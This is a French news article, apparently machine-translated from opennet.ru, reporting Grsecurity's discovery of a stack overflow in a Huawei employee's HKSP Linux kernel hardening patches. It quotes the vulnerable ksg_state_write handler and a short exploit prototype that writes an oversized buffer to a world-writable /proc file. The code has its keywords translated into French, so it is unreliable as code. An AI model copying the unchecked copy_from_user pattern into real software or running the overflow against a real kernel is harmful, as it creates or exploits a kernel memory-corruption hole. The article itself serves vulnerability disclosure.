Problèmes de sécurité dans les correctifs proposés par un employé de Huawei pour protéger le noyau Linux

Développeurs du projet Grsecurity a attiré attention à la présence d'une vulnérabilité trivialement exploitable dans l'ensemble de correctifs HKSP (Huawei Kernel Self Protection), il y a quelques jours proposé pour améliorer la sécurité du noyau Linux. La situation rappelle cas avec Samsung, dans lequel une tentative d'amélioration de la sécurité du système a conduit à l'émergence d'une nouvelle vulnérabilité et a facilité la compromission des appareils.

Les correctifs HKSP ont été publiés par un employé de Huawei, incluent une mention de Huawei dans le profil GitHub et utilisent le mot Huawei dans le nom du projet (HKSP - Huawei Kernel Self Protection). Dans le même temps, les représentants de Huawei ont nié le lien entre le projet HKSP et l'entreprise et ont déclaré que le code avait été développé à l'initiative personnelle de l'employé, qu'il ne s'agissait pas d'un projet officiel de Huawei et qu'il n'était pas utilisé dans les produits de l'entreprise. Sur Page GitHub HKSP rétroactivement après découverte des vulnérabilités également était ajouté notez que le projet est développé pendant mon temps libre à des fins de recherche.

HKSP inclut des changements tels que la randomisation des décalages dans la structure cred, la protection contre les attaques sur l'espace de noms de l'identifiant utilisateur (espace de noms pid), la séparation de la pile de processus de la zone mmap, la détection des doubles appels à la fonction kfree, le blocage des fuites via le pseudo -FS /proc (/proc/ {modules, clés, utilisateurs clés}, /proc/sys/kernel/* et /proc/sys/vm/mmap_min_addr, /proc/kallsyms), randomisation améliorée des adresses de l'espace utilisateur, Ptrace supplémentaire protection, protection smap et smep améliorée, possibilité d'interdire l'envoi de données via des sockets bruts, de bloquer les adresses incorrectes dans les sockets UDP et de vérifier l'intégrité des processus en cours d'exécution. Il comprend également le module noyau Ksguard, destiné à détecter les tentatives d'introduction de rootkits typiques.

Les patchs causé Greg Kroah-Hartman, responsable de la maintenance de la branche stable du noyau Linux, s'est montré intéressant et a demandé à l'auteur de diviser le correctif monolithique en plusieurs parties pour simplifier la révision et la promotion vers le noyau principal. Kees Cook, chef projet sur promotion technologie de protection active dans le noyau Linux, également positivement a répondu aux correctifs et, parmi les problèmes, a attiré l'attention sur la liaison à l'architecture x86 et la nature de notification de nombreux modes, qui enregistrent uniquement les informations sur le problème, mais n'essaient pas de le bloquer.

Une étude du correctif par les développeurs de Grsecurity a révélé de nombreuses erreurs et faiblesses dans le code, et a également montré l'absence d'un modèle de menace qui leur permettrait de juger adéquatement les capacités du projet. Pour démontrer clairement que le code a été écrit sans utiliser de méthodes de programmation sécurisées, un exemple de vulnérabilité triviale dans le gestionnaire est donné.
fichier /proc/ksguard/state, qui est créé avec les droits 0777, ce qui implique que tout le monde a un accès en écriture. La fonction ksg_state_write, utilisée pour analyser les commandes écrites dans /proc/ksguard/state, crée un tampon tmp[32] dans lequel les données sont écrites en fonction de la taille de l'opérande passé, sans tenir compte de la taille du tampon cible et sans vérifier le paramètre avec la taille de la chaîne. Ceux. Pour écraser une partie de la pile du noyau, un attaquant doit simplement écrire une ligne spécialement formatée dans /proc/ksguard/state.

statique ssize_t ksg_state_write(struct file *file, const char __user *buf,
size_t len, loff_t *offset)
{
valeur u64 ;
char tmp [32];
taille_t n = 0 ;

si (copy_from_user(tmp, buf, len))
retour -1 ;

valeur = simple_strtoul(tmp, '\0', 10);
...

Prototype d'exploitation :

char buf[4096] = { };
int fd = open("/proc/ksguard/state", O_WRONLY);
si (fd >= 0) {
écrire(fd, buf, sizeof(buf));
fermer(fd);
}

Source: opennet.ru

Ajouter un commentaire